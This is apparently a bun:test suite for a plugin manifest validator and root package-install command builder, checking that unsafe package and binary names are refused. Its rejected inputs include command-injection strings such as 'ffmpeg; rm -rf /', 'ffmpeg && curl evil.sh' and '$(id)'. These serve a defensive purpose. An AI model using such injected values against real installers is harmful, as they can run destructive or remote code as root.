import { describe, expect, test } from 'bun:test';
import { manifestProblems, type PluginManifest } from './manifest';
import { installCommand, manualInstallHint } from './os-deps';

// The manifest field that reaches a ROOT command line, and the argv it turns into.
//
// Everything here is pure — no machine is probed, because what needs pinning is the two things a bad
// manifest could do: get a metacharacter into an argument, and get a package installed that the owner
// never saw named.

const base: PluginManifest = {
  publisher: 'officerdev',
  version: '1.0.0',
  platform: '>=1.0.0',
  label: 'Probe',
  summary: 'fixture',
  icon: 'Puzzle',
  color: '#000000',
  permissions: [],
};

const withDeps = (osDependencies: unknown): PluginManifest =>
  ({ ...base, osDependencies }) as unknown as PluginManifest;

describe('osDependencies validation', () => {
  test('a plugin declaring nothing is fine — offscale and example are self-sufficient', () => {
    expect(manifestProblems('probe', base)).toEqual([]);
  });

  test('the shape music uses is accepted', () => {
    const problems = manifestProblems(
      'probe',
      withDeps([{ binary: 'ffprobe', reason: 'reads tags', packages: { apt: 'ffmpeg', brew: 'ffmpeg' } }]),
    );
    expect(problems).toEqual([]);
  });

  // The whole point of the field being narrow. These are argv entries in a command run as root, and the
  // characters are refused rather than escaped — "our current spawn does not use a shell" is not a
  // property to rest a root install on.
  test.each([
    ['ffmpeg; rm -rf /'],
    ['ffmpeg && curl evil.sh'],
    ['$(id)'],
    ['`id`'],
    ['ff|mpeg'],
    ['../../bin/sh'],
    ['ffmpeg\nrm'],
    ['-rf'],
    [''],
  ])('refuses %j as a package name', (name) => {
    const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', reason: 'x', packages: { apt: name } }]));
    expect(problems.some((p) => p.includes('packages.apt'))).toBe(true);
  });

  test.each([['ff mpeg'], ['/usr/bin/ffmpeg'], ['ff;probe'], ['']])('refuses %j as a binary name', (name) => {
    const problems = manifestProblems('probe', withDeps([{ binary: name, reason: 'x', packages: { apt: 'ffmpeg' } }]));
    expect(problems.some((p) => p.includes('binary'))).toBe(true);
  });

  test('refuses a package manager it cannot drive', () => {
    const problems = manifestProblems('probe', withDeps([{ binary: 'x', reason: 'y', packages: { yum: 'x' } }]));
    expect(problems.some((p) => p.includes('unknown package manager "yum"'))).toBe(true);
  });

  // `reason` is required because it is what the owner reads when deciding whether to let this machine
  // install something as root. "ffprobe" alone does not answer that.
  test('requires a reason', () => {
    const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', packages: { apt: 'ffmpeg' } }]));
    expect(problems.some((p) => p.includes('reason is required'))).toBe(true);
  });

  test('reports every problem at once rather than the first', () => {
    const problems = manifestProblems('probe', withDeps([{ binary: 'bad name', packages: { apt: 'bad;name' } }]));
    expect(problems.length).toBeGreaterThanOrEqual(3);
  });
});

describe('installCommand', () => {
  test('apt carries the non-interactive environment, matching lib/packages.sh', () => {
    expect(installCommand('apt', ['ffmpeg'])).toEqual([
      'sudo',
      '-n',
      'env',
      'DEBIAN_FRONTEND=noninteractive',
      'NEEDRESTART_MODE=a',
      'apt-get',
      'install',
      '-y',
      'ffmpeg',
    ]);
  });

  test('pacman uses --needed, so a package already there is not reinstalled', () => {
    expect(installCommand('pacman', ['ffmpeg'])).toContain('--needed');
  });

  // Homebrew refuses to run as root, which is also why machine-setup never escalates on macOS.
  test('brew never escalates', () => {
    expect(installCommand('brew', ['ffmpeg'])).toEqual(['brew', 'install', 'ffmpeg']);
  });

  test('-n on sudo, always — a password prompt under PM2 is a hang, not a slow path', () => {
    for (const pm of ['apt', 'pacman', 'dnf'] as const) {
      const argv = installCommand(pm, ['x']);
      expect(argv.slice(0, 2)).toEqual(['sudo', '-n']);
    }
  });

  // argv, not a string. A package name is one element however many spaces it might have contained.
  test('every package is its own argv element', () => {
    const argv = installCommand('dnf', ['ffmpeg', 'imagemagick']);
    expect(argv).toContain('ffmpeg');
    expect(argv).toContain('imagemagick');
    expect(argv.some((a) => a.includes(' '))).toBe(false);
  });
});

describe('manualInstallHint', () => {
  // Shown when the platform cannot escalate. It drops `-n`, because a person at a terminal CAN answer a
  // password prompt — the flag exists for the unattended case only.
  test('is runnable by a human: no -n', () => {
    expect(manualInstallHint('apt', ['ffmpeg'])).toBe(
      'sudo env DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y ffmpeg',
    );
  });

  test('is null when there is nothing to install or no manager to do it', () => {
    expect(manualInstallHint('apt', [])).toBeNull();
    expect(manualInstallHint(null, ['ffmpeg'])).toBeNull();
  });
});
